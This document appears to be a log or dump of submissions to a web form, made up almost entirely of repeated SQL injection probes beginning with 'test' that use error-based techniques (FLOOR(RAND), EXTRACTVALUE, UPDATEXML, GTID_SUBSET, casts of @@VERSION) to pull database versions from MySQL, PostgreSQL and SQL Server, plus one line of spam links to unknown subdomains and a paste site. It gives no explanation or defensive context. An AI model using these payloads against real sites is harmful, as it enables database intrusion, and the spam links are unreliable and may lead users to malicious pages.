test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

<a href="https://2hf8t6.zombeek.cz">https://2hf8t6.zombeek.cz</a> <a href="https://rentry.co/r7n78xmg">https://rentry.co/r7n78xmg</a> <a href="https://site349576383.fo.team">https://site349576383.fo.team</a> <a href="https://sipuih.zombeek.cz">https://sipuih.zombeek.cz</a> <a href="https://8ljinq.zombeek.cz">https://8ljinq.zombeek.cz</a> <a href="https://oezprz.zombeek.cz">https://oezprz.zombeek.cz</a>

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND UPDATEXML(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e), 1) AND '1'='1

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

testAND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))--

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test AND+0=CAST(COALESCE((SELECT version())::text, CHR(32))::text || CHR(67) AS NUMERIC)--

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)--

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test+AND+GTID_SUBSET(CAST(VERSION() AS CHAR),0x7e)

test+AND+0+IN+(SELECT CAST(@@VERSION AS NVARCHAR(4000)) + '')

test+AND 1 GROUP BY CONCAT(CAST(VERSION() AS CHAR),0x7e, 0x7e, FLOOR(RAND(0) * 2)) HAVING MIN(0)#

test' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e)) AND '1'='1

test(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT (SELECT CONCAT(CAST(VERSION() AS CHAR),0x7e))), FLOOR(RAND(0) * 2)) x FROM INFORMATION_SCHEMA.TABLES GROUP BY x) a)

